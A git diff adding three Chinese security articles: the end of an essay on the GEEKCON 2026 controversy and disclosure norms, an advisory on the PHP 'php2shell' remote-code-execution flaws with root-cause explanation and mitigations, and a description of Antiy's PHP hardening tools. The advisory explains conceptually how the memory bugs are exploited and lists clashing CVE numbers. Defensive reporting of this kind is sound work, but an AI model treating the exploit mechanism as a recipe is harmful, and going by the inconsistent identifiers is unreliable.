+我认为,至少应当做好三件事。
+
+第一,建立清晰的授权研究和测试规则,让研究人员知道什么能做、什么不能做。
+
+第二,建立高效的漏洞接收、评估、修复和协调披露机制,让报告的问题有人处理、有结果可追踪。
+
+第三,对具有重大公共安全影响的漏洞,建立专业的风险分级和协调机制,必要时依法限制敏感技术细节的传播,同时推动相关风险尽快得到控制。
+
+**安全治理的目标,不应该是让漏洞无处可见,而应该是让漏洞被发现之后,能够尽快进入正确的处理流程。**
+## 七、网络安全行业需要的,不是更少的研究者,而是更成熟的规则
+
+对于GEEKCON 2026相关事件,我认为,在具体事实和责任尚待进一步核实的情况下,不宜简单给任何一方下结论。
+
+但这件事确实提出了一个值得全行业共同思考的问题:当安全研究涉及真实产品、真实设备和公共安全时,我们究竟应该如何划定边界?
+
+安全赛事不是天然免于法律约束的特殊场景,赛事组织者必须重视授权、风险控制和现场管理。
+
+厂商也有权依法保护自己的产品、知识产权和合法权益。但面对合理的安全研究,最有价值的回应应当是基于事实的技术交流、风险评估和漏洞修复,而不是让争议停留在立场对立上。
+
+相关管理部门需要依法处理具体问题,同时也可以通过清晰的规则,帮助行业明确合法研究的边界。
+
+我期待,未来能够形成更加成熟的漏洞治理生态:
+- 对研究人员,明确授权范围、测试边界和披露规则;
+
+- 对赛事组织者,明确设备管理、现场安全和应急处置要求;
+
+- 对产品厂商,建立开放、可信的漏洞报告与修复机制;
+
+- 对行业组织,推动标准化的漏洞协调披露和争议处理流程;
+
+- 对监管部门,进一步完善规则衔接,让合法研究有据可依,让恶意攻击依法受到处理。
+
+我们需要的不是没有漏洞的宣传,而是能够持续改进的产品;不是让所有人闭口不谈安全问题,而是让问题在造成损失之前得到解决。
+
+网络安全行业的发展,离不开研究人员、产品厂商、赛事组织者、科研机构和监管部门的共同努力。
+
+如果这些角色之间缺乏信任,缺少规则,最终受影响的可能不只是某一场比赛,而是整个行业发现问题、解决问题的能力。
+## 写在最后:真正的安全,不能建立在看不见问题的基础上
+
+我从事网络安全工作多年,始终认为,安全不是一项可以一劳永逸完成的工作。
+
+攻击技术在发展,防御技术也必须发展;漏洞在不断出现,发现和修复漏洞的能力也必须不断提升。
+
+面对无人机这样的新型智能设备,我们既要重视它可能带来的安全风险,也要鼓励在合法授权、规则清晰、风险可控的前提下开展专业研究。
+
+不能因为担心漏洞被利用,就否定发现漏洞的价值;也不能因为强调技术探索,就忽视法律边界和公共安全。
+
+两者之间需要的是规则、责任和专业能力,而不是简单的对立。
+
+我想起一句话:防民之口,甚于防川。
+
+这句话原本讨论的是治水与民意,但放在今天的安全治理中,也有值得思考的地方。风险不会因为我们不谈论它就消失,问题也不会因为我们不允许别人发现就自动解决。
+
+尤其是在网络攻防对抗日益复杂的今天,真正的攻击者不会因为一场安全赛事暂停,就放弃研究漏洞;真正的安全风险,也不会因为某个问题没有公开报道,就停止存在。
+
+如果我们希望产品更加安全,就应该让问题更早暴露,让修复更快发生,让防御能力持续接受验证。
+
+**安全不是捂住漏洞,而是修复漏洞;不是让发现问题的人闭嘴,而是让问题得到解决;不是害怕被攻击,而是通过持续验证,让自己更经得起攻击。**
+
+希望GEEKCON 2026相关事件最终能够得到客观、依法的处理,也希望这场争议能够推动行业进一步完善规则,而不是让更多人对安全研究产生畏惧。
+
+因为真正值得我们担心的,从来不是有人发现了漏洞。
+
+而是当漏洞真实存在时,已经没有多少人愿意、也没有多少人敢于去发现它。
+
+当我们谈论网络安全时,最终守护的不是某一家厂商的面子,也不是某一场赛事的荣誉,而是产品使用者的权益、社会运行的安全,以及整个数字世界面对真实攻击时的抵御能力。
+
+**愿每一个被发现的漏洞,都能成为安全进步的起点,而不是一场争议的终点。**
+
+
+
+**END**
+
+**推荐阅读**
+
+[每个企业都应该有一套AI自动化渗透测试系统](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494101&idx=1&sn=52dc61c0da0f268c83362d00a1b3a3ea&scene=21#wechat_redirect)
+
+
+2026-10-23
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494101&idx=1&sn=52dc61c0da0f268c83362d00a1b3a3ea&scene=21#wechat_redirect)
+
+
+[驭智·HARNESS 以智慧安全重构攻防新秩序|绿盟科技2026 TechWorld智慧安全大会在京召开](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494094&idx=1&sn=5392cbee9dc92a58c6735977c3ef1375&scene=21#wechat_redirect)
+
+
+2026-10-22
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494094&idx=1&sn=5392cbee9dc92a58c6735977c3ef1375&scene=21#wechat_redirect)
+
+
+[一文讲透智能体安全的五要素:身份、权限、行为、数据、供应链](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494087&idx=1&sn=c69bc99dc1ad7950a0b815a3164d266a&scene=21#wechat_redirect)
+
+
+2026-10-21
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494087&idx=1&sn=c69bc99dc1ad7950a0b815a3164d266a&scene=21#wechat_redirect)
+
+
+[你刷的每条广告,可能都是一次零点击黑客攻击](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494076&idx=1&sn=583f8d237eee30778a0d625002c5753e&scene=21#wechat_redirect)
+
+
+2026-10-19
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494076&idx=1&sn=583f8d237eee30778a0d625002c5753e&scene=21#wechat_redirect)
+
+
+[AI 间谍战役瞄准政府 Linux:黑客用大模型写攻击脚本,专偷邮箱和数据库](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494075&idx=1&sn=049dfa062e33f3d8ad3288a2b9fab20f&scene=21#wechat_redirect)
+
+
+2026-10-18
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494075&idx=1&sn=049dfa062e33f3d8ad3288a2b9fab20f&scene=21#wechat_redirect)
+
+
+
diff --git a/doc/2026-10/PHP 爆出 php2shell 双核 RCE(CVE-2026-109618 ∕ CVE-2026-109619):一个未授权 POST 请求就能拿 Shell.md b/doc/2026-10/PHP 爆出 php2shell 双核 RCE(CVE-2026-109618 ∕ CVE-2026-109619):一个未授权 POST 请求就能拿 Shell.md
new file mode 100644
index 00000000..09cf1699
--- /dev/null
+++ b/doc/2026-10/PHP 爆出 php2shell 双核 RCE(CVE-2026-109618 ∕ CVE-2026-109619):一个未授权 POST 请求就能拿 Shell.md
@@ -0,0 +1,259 @@
+# PHP 爆出 php2shell 双核 RCE(CVE-2026-109618 / CVE-2026-109619):一个未授权 POST 请求就能拿 Shell
+宝十八
+ 宝十八 网络安全老宋 2026-10-24 10:35
+
+**导语:**
+ 你好,我是网络安全老宋。
+安全攻防干货准时送达!
+
+
+网络安全
+老宋
+// 漏洞预警 · RCE
+
+// 漏洞应急 · GitLab
+# PHP 爆出 php2shell 双核 RCE(CVE-2026-109618 / CVE-2026-109619):一个未授权 POST 请求就能拿 Shell
+
+无需登录、无需任何应用层漏洞,只要目标是一台对外提供 Web 请求的 PHP 服务器,攻击者发一个特制的 POST 请求,就能以 Web 进程权限(如 www-data)直接执行系统命令
+
+CVE-2026-110264
+CVE-2026-1096190
+
+
+
+10 月 21 日,PHP 官方一口气发布了 8.5.12、8.4.27、8.3.36、8.2.35 四个版本,修复了核心引擎里两个被统称为
+
+php2shell
+
+的未授权远程代码执行漏洞。按 PHP 项目自己的评级,两个漏洞 CVSS v4.0 均为
+
+9.2(Critical)
+,无需登录、无需任何应用层漏洞,只要目标是一台对外提供 Web 请求的 PHP 服务器,攻击者发一个特制的 POST 请求,就能以 Web 进程权限(如 www-data)直接执行系统命令。
+
+这不是某个插件、某个框架的问题,而是
+
+PHP 引擎本身(Zend)
+
+的问题。换句话说,你网站代码写得再规范,该中招还是中招——因为攻击发生在应用代码运行之前。
+
+本文把这两个漏洞讲清楚:它到底是什么、为什么这么危险、影响面有多大、现在到底有没有被利用,以及最关键的——你今天下班前该怎么做。
+
+## 00漏洞速览
+
| |
| CVE-2026-109618、CVE-2026-109619(统称 php2shell) |
| |
| PHP 项目评级 CVSS v4.0 9.2;部分 CERT 按 v3.x 评为 9.8(口径不同,待统一) |
| CWE-824(访问未初始化指针);本质是释放后使用 / 未初始化内存 |
| |
| PHP 8.5 < 8.5.12、8.4 < 8.4.27、8.3 < 8.3.36、8.2 < 8.2.35 |
| 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35(7.4 / 8.0 / 8.1 仅源码级 backport) |
| Apache mod_php(风险最高)、PHP-FPM、php-cgi、FrankenPHP、LiteSpeed |
| PHP 于 2026-10-20 提前预告,2026-10-21 13:30 UTC 发布修复 |
+来源:PHP 官方安全公告(php.net [#2026]()
+-10-21-5)、CERT-EU 2026-018、Censys 与 CrowdStrike 技术分析、乌干达 UG-CERT AD-26-011、国家网络安全通报中心 / CNVD。
+
+## 01这两个漏洞到底是什么
+
+两个漏洞共享同一个根因:
+PHP 在遇到致命错误时用 longjmp() 直接跳出执行栈,没有做任何"拆栈 / 回滚"
+。
+
+Zend 引擎(Zend 是 PHP 的内核,每个 PHP 构建都自带它)在处理请求时,一旦碰到"内存超限(memory_limit)、执行超时(max_execution_time)、客户端断连"这类致命条件,不会把错误沿着调用栈往上抛,而是直接
+
+_zend_bailout()
+
+里一个
+
+LONGJMP
+
+把当前 C 调用栈整个丢弃。问题就出在这里:那些正在"建到一半"的数据结构,既没跑析构、也没回滚记账,PHP 却照常进入清理流程,并
+
+假设所有结构都处于一致状态
+。
+- CVE-2026-109618(OOM 内存破坏)
+当请求在解析阶段(例如 multipart 表单上传)触及内存上限时,部分请求内存还没初始化就被标记"已包含一项"。随后这条请求的清理例程会读这块内存并依据它分支跳转,而攻击者可以操控堆布局,把执行流劫持到
+
+zend_call_function
+
+之类的内部函数,最终实现 RCE。据 CrowdStrike 复现,在 Apache mod_php 下,
+单个匿名 POST 请求即可让 worker 拉起 shell
+。
+
+- CVE-2026-109619(悬垂全局状态 / 释放后使用)
+某些请求级内部状态(错误处理、会话、对象、扩展状态)在所属内存已被释放后,仍被模块级全局变量指向。同一个 worker 处理的
+
+后续请求
+
+在状态被正常重置之前就读取了这块已释放内存。PHP 团队验证:在 8.5 且开启
+
+fatal_error_backtraces
+
+时,mod_php 可 RCE;通过
+
+默认开启的
+
+session.upload_progress
+
+机制,mod_php 与 PHP-FPM 均可被触发。
+
+为什么它们特别可怕?三个原因叠加:
+- 发生在应用代码之前
+PHP 在初始化扩展、编译任何一行业务代码之前就解析请求数据,利用与否跟"你网站写得好不好"无关。
+
+- 极其安静
+Worker 不崩溃,服务器返回正常的 HTTP 200,应用日志里没有任何异常记录——传统 WAF 和应用层规则拦不住"解析期"的利用。
+
+- 跨架构稳定
+CrowdStrike 验证其利用在 x86-64 与 ARM 上均能稳定复现,在 ARM 云主机上仅凭 HTTP 请求就绕过了 ASLR。
+
+
+
+
+## 02影响面有多大
+
+大到不能用"我的站点小所以没事"来安慰自己。
+- 资产规模
+:Censys 在 2026-10-22 的探测数据显示,全网约
+
+308 万台主机、5667 万个 Web 资产
+
+运行着 PHP(数字较前一日因检测改进而上升)。
+
+- 下游牵连极广
+:WordPress、Drupal、Joomla、Magento、Laravel、Symfony、MediaWiki、Roundcube、phpMyAdmin、Nextcloud、WHMCS、OpenCart 等主流 CMS / 框架全部基于 PHP 运行时;更隐蔽的是大量
+
+内置了 PHP 的设备和应用
+(网关、管理后台、appliances),即便管理员看不见 PHP 版本,同样在受影响范围内。
+
+- 部署形态全覆盖
+:只要"对外提供 Web 请求"的 PHP 安装都中招,mod_php 风险最高。
+
+
+
+
+## 03现在到底有没有被利用?研判有分歧,结论只有一个:别赌
+
+这里必须如实标注分歧,不替你下过度乐观或过度恐慌的结论:
+- 共识
+技术细节与 PoC 已经公开传播。CERT-EU、CrowdStrike、Censys 均指出 PoC 已开始流通,被利用的可能性显著上升。
+
+- 国际口径(截至 10-22)
+Censys 明确说明,截至 2026-10-22,
+两个漏洞尚未进入 CISA KEV(已知被利用漏洞目录)
+;VulnCheck 的传感器网络只记录到 CVE-2026-109618 的
+
+一次未成功
+
+利用尝试。
+
+- 香港口径
+香港网络安全事故协调中心将多个 PHP 漏洞定为"
+极高度风险
+",并警告两个漏洞"
+正在被广泛利用
+",建议各机构立即修补。
+
+两边的差异,可能来自不同区域的观测样本与情报源。
+对防守方而言,这种分歧恰恰是最危险的信号
+——等你等到"官方确认大规模在野利用"那一天,可能已经晚了。正确做法是:把它当成"随时会被利用"来处置。
+
+## 04你中招了吗:30 秒自查
+- 看版本:执行
+
+php -v
+,确认大版本与次版本是否低于上表修复版本(例如 8.3.35 及更早的 8.3.x 都中招,8.3.36 才修)。
+
+- 看部署:是 mod_php、PHP-FPM、php-cgi、FrankenPHP 还是 LiteSpeed?mod_php 风险最高,FPM 也不安全(session.upload_progress 默认开)。
+
+- 看"隐身 PHP":别只查网站,还要查运维后台、网络设备管理页、内部系统里是不是"嵌了 PHP"——这些往往没纳入常规资产台账。
+
+- 看发行版:用系统包(apt / yum)装的 PHP,可能比官方源码慢半拍;确认你的发行版 / LTS 供应商是否已经推送 backport。
+
+
+
+## 05应急加固清单(今天就能做)
+
+首选、也是唯一根治方案:升级。
+- 升级到 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35。
+
+- 7.4 / 8.0 / 8.1 等停止官方支持的分支:部分发行版或 LTS 供应商提供了 backport;PHP 安全团队也发布了仅源码级的 backport 分支(PHP-7.4 / 8.0 / 8.1 的
+
+CVE-2026-109618-109619
+
+分支),自建或从源码编译的用户可用。
+PHP 5.4–7.3 已 EOL,无修复,必须迁移。
+
+临时缓解(只能降暴露,不能根治,且升级后撤销):
+- 针对 CVE-2026-109618(OOM 路径):用
+
+php_admin_value memory_limit -1
+
+强制无内存上限(FPM 池配置或 Apache 配置里设置,确保应用层无法覆盖)。
+
+- 针对 CVE-2026-109619(session 路径):在 php.ini 设置
+
+session.upload_progress.enabled=0
+。
+
+- 以上只能封堵特定触发面,CERT-EU 明确提醒"这些措施不使安装变安全"。
+
+无法立即升级时:
+把面向互联网的应用与公共网络
+
+隔离
+,直到补丁应用并验证完成。临时缓解项上线后务必记录,升级完成后第一时间撤销。
+
+验证要点:
+返回 HTTP 200 不等于安全;攻击本就不留日志。请以上述版本号与配置核查为准做闭环验证。
+
+## 06给安全运营 / 安服的几点启示
+- 引擎级漏洞是检测的盲区
+WAF、应用层规则大多工作在"业务请求之后",而 php2shell 在解析期、应用代码运行前就完成利用。运行时版本资产 + 上游补丁时效,比堆规则更关键。
+
+- 资产盘点要"看嵌入"而非"看站点"
+大量内置 PHP 的设备 / 后台不在常规 Web 资产台账里,却同样致命。建议把"是否嵌入 PHP 运行时"纳入资产指纹。
+
+- 补丁要"升"更要"验"
+mod_php 静默利用、无日志,光看监控曲线发现不了。升级后做版本与配置双确认,必要时结合进程 / 文件完整性核查。
+
+- 盯紧上游同步
+官方发版后,发行版、容器基础镜像、PaaS 运行时的 backport 有滞后窗口,这个窗口就是攻击窗口。把"上游已修、我方未修"列入高风险待办。
+
+
+
+## 结尾:今天下班前,请先升完级
+
+php2shell 的可怕之处不在于技术多花哨,而在于它
+
+简单、稳定、无感、前置
+。一个匿名请求、HTTP 200 响应、零日志——这正是蓝队最怕的利用形态。
+
+建议各位运营、安服同学今天就做三件事:① 拉一遍 PHP 版本资产清单;② 能升的立刻升到修复版本;③ 升不了的先上临时缓解并隔离互联网面,同时盯着发行版 backport 进度。地基裂了,先补地基,别忙着粉刷墙面。
+
+## 读推荐阅读
+
+01
+[多地爆发 “银狐” 病毒,办公场景成重灾区,这些防范要点必看](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485491&idx=1&sn=5fab6c9c4aca7533ae7531b1ad454954&scene=21#wechat_redirect)
+
+
+02
+[紧急预警 | Windows远程桌面高危漏洞爆发,千万服务器面临沦陷风险!](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485887&idx=1&sn=d8b33b11476b3558a4f65e23aff78488&scene=21#wechat_redirect)
+
+
+03
+[渗透测试从业者的新工具:938 Star、号称漏洞利用成功率90%(鸾鸟LuaN1ao)](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247486341&idx=1&sn=dcea2a9b582bc3a909597312b1561faa&scene=21#wechat_redirect)
+
+
+04
+[甲方运维应急排查: 银狐木马进内网,3步定位失陷主机](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247487594&idx=2&sn=34b32b1f046b12c6638474e73554be56&scene=21#wechat_redirect)
+
+
+05
+[渗透测试从业者遇到过这种情况吧: 扫出 37 个高危,能打进去的不到 10 个](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247486500&idx=1&sn=2777d31aa0de440f7ae946946775025c&scene=21#wechat_redirect)
+
+
+防御,不是在演练期间发现攻击,而是在演练开始前就把攻击面收敛到最小。
+
+end
+
+
+
+不想错过文章内容?读完请点一下**“在看**
+**”**
+,加个**“****关注”**
+,您的支持
+是我创作的动力
+
+期待您的一键三连支持(点赞、在看、分享~)
+
diff --git a/doc/2026-10/PHP2Shell漏洞如何快速响应,安天发布多平台配置加固工具.md b/doc/2026-10/PHP2Shell漏洞如何快速响应,安天发布多平台配置加固工具.md
new file mode 100644
index 00000000..9ae7bfd9
--- /dev/null
+++ b/doc/2026-10/PHP2Shell漏洞如何快速响应,安天发布多平台配置加固工具.md
@@ -0,0 +1,458 @@
+# PHP2Shell漏洞如何快速响应,安天发布多平台配置加固工具
+安天测试交付部
+ 安天测试交付部 安天垂直响应平台 2026-10-24 11:00
+
+点击上方"蓝字"
+
+关注我们吧!
+
+
+# 导语
+#
+
+针对 PHP2Shell 高危漏洞,安天测试交付部发布 PHP2Shell 漏洞加固工具。该工具覆盖 Linux 与 Windows 两个平台,将上游官方缓解措施与安天纵深加固经验整理为可扫描、可加固、可验证、可回滚的加固项;框架内每条加固规则均配套适用条件、变更影响、校验及回滚方案,执行遵循预检预览、快照留存、不强制覆盖原有配置的原则,适配服务器与桌面运维场景,提供多交互入口,规则库与程序版本独立管理,用于在补丁升级完成前快速收敛风险暴露面。
+
+提示:
+官方补丁仍是根本修复手段
+,
+建议优先使用官方补丁。加固工具不能替代补丁,只能作为叠加防护。工具面向专业用户,用于短期内无法完成全部升级的生产环境。
+# 工具介绍
+#
+
+·
+
+该工具
+是一款免费应急响应工具
+,简称 PHP 专项配置加固工具,由安天测试交付部出品,配置知识由安天测试交付部整理。
+
+
+
+·
+
+工具将系统与应用的加固知识转化为可审查的配置计划,提供受约束的执行、状态记录和快照回滚能力,帮助运维和安全人员明确“改什么、为什么改、如何改、如何验证以及如何恢复”。
+
+
+
+·
+
+Windows 与 Linux 两端保持一致的知识组织、双语呈现、品牌信息和受控变更思路;Windows 采用原生桌面界面,Linux 提供编号式命令行、非交互命令界面,具体执行机制按操作系统及组件差异实现。
+
+
+
+·
+
+Linux 版默认仅执行官方标准模式(official),只包含上游修复公告确认的缓解措施;深度加固模式(deep)需
+人工
+选择,可能影响业务连续性。
+
+
+
+·
+
+工具不运行漏洞利用、不强制触发内存耗尽、不主动外连,只做配置核查与加固。
+
+
+## 适用场景
+##
+
+·
+ 漏洞应急期间的配置缓解:
+查阅专项规则,按适用条件收紧入口、权限和执行环境;补丁升级、真实版本核查及效果验证仍需继续完成。
+
+
+
+·
+ PHP 应用上线前审查:
+对照
+ Web 服务、PHP/FPM 及宿主配置逐项检查并调整,并验证业务兼容性和实际加载链。
+
+
+
+·
+ 服务器日常配置维护:
+在
+ Linux 编号菜单或命令行中选择方案并设置逐项例外,按组件要求检查语法、加载配置及复核运行状态。
+
+
+
+·
+ 测试交付与运维接手:
+以规则编号、目标、操作结果和恢复条件组织交接,在目标环境完成集成测试并保留验证证据。
+
+
+## 核心能力
+##
+
+·
+ 结构化配置知识:
+每项规则包含配置名称、说明、位置与存放方式、默认值或默认值范围、调整建议、副作用、验证方法和恢复说明。Windows 现有 195 项规则、16 个分类,Linux 现有 212 项规则、13 个分类,均提供完整中英文对照;两套规则按平台独立维护,数量反映知识或实现覆盖,不能直接换算为漏洞修复率。
+
+
+
+·
+ 明确目标后执行:
+可执行条目绑定固定规则标识、操作方式和参数范围。操作者选择实际目标并完成预检,审查计划后再确认执行;知识描述本身不会直接被当成任意命令运行,目标、权限或组件条件不满足时操作会被拒绝。
+
+
+
+·
+ 受保护快照与冲突检查回滚:
+工具在变更前保存恢复所需状态,回滚前检查当前目标是否仍符合事务预期,避免覆盖后续合法变更。Windows 使用系统数据保护机制保护相关事务,Linux 使用独立本地密钥保护事务记录;恢复配置不等于恢复进程内存或业务数据。
+
+
+
+·
+ 场景方案与逐项调整:
+Linux 采用内置场景方案加逐项例外的方式,支持策略 JSON 导入导出、预览和确认执行;内置基础、生产、严格和应急方案目前是少量 PHP 默认集合,不会自动启用全部系统配置,外部策略文件用于复用选择和参数,不能加入任意命令。
+
+
+
+·
+ 适应桌面与服务器操作:
+Windows 采用原生桌面界面,Linux 提供编号式命令行、非交互命令和本机浏览器界面;默认中文,可切换英文,语言切换不改变规则身份及执行参数。Linux 浏览器入口用于本机操作,不是集中管理多台服务器的远程控制平台。
+
+
+
+·
+ 记录结果并支持后续核验:
+界面提供报告导出,命令行提供适合记录和自动化衔接的结构化结果;配置源值、写入结果与运行时有效状态分别解释,便于运维与测试人员继续完成组件加载、业务检查和恢复验证。
+
+
+
+·
+ 加密嵌入知识与动作数据:
+运行所需知识和动作数据在构建时加密封装后嵌入,加载时检查完整性;维护源与运行包分离,规则更新通过维护、验证和重新构建完成。该机制用于保护静态内容及检查损坏,不能抵抗逆向提取,也不提供发布者数字签名保证。
+
+
+# Linux 版:phphard 命令行工具
+#
+
+该工具
+是一个单文件可执行文件,用于扫描并对
+ Linux 上 PHP 运行环境实施 针对 CVE-2026-109618(PHP OOM)、CVE-2026-109619(PHP stale state)及相关上传进度残余路径的加固。可执行文件约 1.2 MB,复制到目标机即可运行,不依赖目标机 glibc 版本与外部数据文件,也无需安装运行时或解释器。
+
+
+
+兼容范围:
+在
+ CentOS 6.6(glibc 2.12)上静态编译,可在 CentOS 6/7/8、Ubuntu 18.04/20.04/22.04、Debian 等 x86_64 Linux 上运行,低版本编译产物兼容高版本系统;所有加固可回滚,每项加固写入前先快照原值或原文件。
+
+
+
+下载地址:https://vs.antiy.cn/downloads/SecurityConfiguration/phphard-linux-x86_64.tar.gz
+
+
+## 规则库与加固模式
+
+表
+ 1 双加固模式对比
+
+模式 | 加固项数量 | 内容来源 | 业务影响 |
official 官方标准(默认,无需参数) | 11 项 | 仅上游修复公告中的官方缓解措施与事件处置步骤 | 最小 |
deep 深度加固(加 --deep 切换) | 212 项 | 官方措施加本方纵深加固整理 | 含容量裁剪、功能限制、身份与路径硬限制等,可能影响业务连续性 |
+
+official 集合由 5 个官方处置工作流、PHP-001/002/003/037 四个加固点及 2 项 RLIMIT 误用审计构成,为默认模式、无需参数;deep 模式加 --deep 切换,执行前会打印业务连续性警告,需运维显式确认。
+
+适配器覆盖:
+已实现
+ PHP INI(43 项)、FPM 池(20 项,加固限低危键)、内核参数(20 项)、systemd 沙箱指令(43 项),以及补丁状态判定、旧 worker 检测、启动诊断采集等官方处置工作流检查;Nginx、Apache、LSM、网络、容器等适配器尚未实现,相关项扫描结果如实标注为需人工复核,加固命令拒绝执行。
+## 运行前检查
+##
+
+·
+ 权限检查:
+扫描与加固要读取/写入系统配置与状态目录(/etc/php、/var/lib/phphard 等),必须以 root 运行,非 root 直接拒绝执行;list / info / env / --help / --version 免 root,可随时使用。
+
+
+
+·
+ 漏洞存在性检查:
+工具按
+ PHP 分支与上游修复版本下限(8.2≥8.2.35 / 8.3≥8.3.36 / 8.4≥8.4.27 / 8.5≥8.5.12)判定补丁状态:已高于修复版本时加固命令拒绝执行并提示未检测到相关漏洞;版本无法确认(PHP 未安装或已 EOL 分支)时同样结束,可用 --php-version 手动指定,不臆断安全。确需作为安全基线加固时可跳过门禁。
+
+
+## 使用方式
+##
+
+·
+ 环境发现:
+phphard env,查看发行版、内核、PHP 版本、补丁状态、SAPI、运行单元与容器信息,免 root。
+
+
+
+·
+ 扫描:
+phphard 或 phphard scan 执行官方标准扫描(默认);scan --deep 切换深度加固模式 212 项全集;scan --all 显示全部加固项,含需人工配置的明细与原因。
+
+
+
+·
+ 查看加固点:
+phphard list 列出加固点;phphard info <编号> 查看单项的适用环境、建议值、副作用、验证方法、回滚原则与生产风险定级。
+
+
+
+·
+ 单项加固:
+phphard apply <编号>,--dry-run 预演不落盘,--yes 确认执行;每次加固先快照后写入;加固后如需立即生效加 --reload。
+
+
+
+·
+ 一键加固:
+phphard harden-all --yes 对 official 安全集合逐项独立快照并执行;--include-caution 纳入 caution 级;--deep 切换深度集合,执行前会打印业务连续性警告。
+
+
+
+·
+ 撤销回滚:
+phphard rollback <编号> 单项撤销;rollback --all --yes 一键回滚全部,按后建先撤恢复,只恢复本工具的修改。
+
+
+
+·
+ 验证与历史:
+phphard verify <编号> 验证单项效果;phphard status 查看加固事务历史。
+
+
+
+说明:apply 与 rollback 默认需交互确认;脚本化使用请加 --yes,stdin 非 TTY 时未应答按取消处理,不会误执行。
+
+使用示例
+:环境确认(env)→ 官方扫描 → 预演(harden-all --dry-run)→ 实执行(harden-all --yes)→ 查看历史(status),必要时一键回滚(rollback --all --yes)。回滚只恢复本工具自己改过的内容;若他人后续修改过同一文件,工具会拒绝覆盖并报告冲突,需人工处置。以下截图依次为使用说明、环境发现、深度加固与回滚操作的输出。
+
+
+
+图
+ 1 phphard:使用说明
+
+
+
+
+
+图
+ 2 phphard:环境发现
+
+
+
+
+图
+ 3 phphard:深度加固
+
+
+
+图
+ 4 phphard:回滚操作
+## 扫描结果解读
+##
+
+扫描结果按“能不能自动加固”分为四组:可自动加固,仅收紧暴露面与信息泄露、不改变业务行为,harden-all默认一键加固;可自动加固,可能改变业务行为,需
+执行
+--include-caution
+参数
+才纳入;需人工配置,不能由配置写入完成,按
+ phphard info <编号> 查看人工步骤与不能自动加固的原因;已符合 / 不适用,无需处理。默认只展示可自动加固的项,加 --all 才展示全部。
+# Windows 版:PHP-CVE-2026-109618+109619修复工具
+#
+
+该工具是面向
+ Windows 平台的 PHP 安全配置审查与加固工具,服务 CVE-2026-109618 与 CVE-2026-109619 修复相关配置。工具采用图形界面,默认中文、可通过“语言 / Language”菜单切换英文,切换时保留目标、扫描结果和已暂存计划;交付为单文件 EXE,离线运行,不需要 Python 或外部数据文件;标准用户即可启动,不会自动申请提升权限。
+
+下载地址:https://vs.antiy.cn/downloads/SecurityConfiguration/AConfig.zip
+## 规则库
+##
+
+工具内置
+ 195 项加固规则、16 个分类,其中 Web 相关 117 项、系统策略与部署 78 项,每项均建立真实的写入与恢复程序映射。规则知识在构建时加密封装后内嵌,运行时验证并解密到内存,旁置数据包不是热更新入口。
+## 使用方式
+##
+
+1.
+在左侧选择分类,或按编号、名称和说明搜索;双击条目查看默认值范围、建议、副作用、激活、验证、回滚及官方来源。
+
+
+
+2.
+点击“选择 INI / 版本”,选择本地 PHP INI 文件并声明部署 PHP 版本;版本未知可留空,只进行只读检查。声明的版本不是程序探测到的 Web 版本。
+
+
+
+3.
+点击“只读扫描”,快速观测 7 个 PHP 布尔项以及本机 DEP、防火墙概况;该扫描不等于所有动作的预检。
+
+
+
+4.
+任意条目使用“配置选中项”,填写目标与参数,阅读双语帮助和恢复限制,只读预检后审查并确认真实执行;原 7 个 PHP 布尔项也可“加入计划”,批量预览后执行。
+
+
+
+5.
+根据动作说明激活并验证业务进程。纯配置动作不自动重启服务;服务状态和容器部署等动作会按明确参数改变运行状态。成功不等于漏洞已修复。
+
+
+
+6.
+“快照回滚”选择本工具的 .cta 或 .ctb 事务,预检真实恢复目标后确认。后续改动会阻止覆盖;恢复配置不会复活原进程或恢复业务数据。
+
+
+
+7.
+“导出报告”生成 JSON 或 Markdown,包含有限观测、暂存计划及本次会话的逐项动作结果;请选择新文件名,不导出完整参数和配置快照。
+
+
+
+工具
+使用示例及
+主要界面如下图所示
+:
+
+
+
+图
+ 5 Windows 版加固工具:指定配置文件
+
+
+
+
+
+图
+ 6 Windows 版加固工具:只读扫描
+
+
+
+图
+ 7 Windows 版加固工具:加入加固计划
+
+
+
+
+图
+ 8 Windows 版加固工具:预览执行与回滚配置
+## 扫描结果解读
+##
+
+扫描与动作结果以“未知”“人工核验”“不适用”“读取失败”“源值符合”“源值待调整”“已写入待激活”分别显示,统计数量不能换算成漏洞修复率。默认值仅作知识参考,缺失配置不能当作 0。本版不自动发现完整 Web 配置加载链,也不验证所有运行时有效值;配置已写入不代表运行生效,成功不等于漏洞已修复。
+# 常见问题及补充说明
+#
+
+·
+ 规则数量代表漏洞修复率吗?
+规则数量表示知识或实现覆盖,不能直接换算为漏洞修复率;Windows 与 Linux 两套规则按平台独立维护,不宜把数量简单相加并称为互不重复的安全能力。
+
+
+
+·
+ 工具是否可以直接修复漏洞?
+工具主要提供配置审查和加固能力。具体措施可能用于预防、缓解、降低利用机会或限制后续动作,但不能由“配置已写入”直接判定漏洞已修复。补丁状态、实际运行版本和业务有效态仍需核验。
+
+
+
+·
+ 是否支持一键加固整台服务器?
+当前按明确规则、目标和参数实施变更。Linux 场景方案提供一组起始选择,操作者仍需确认适用范围并审查计划。工具不承诺自动发现所有组件或对整机实施无需确认的加固。
+
+
+
+·
+ 配置改变后是否立即生效?
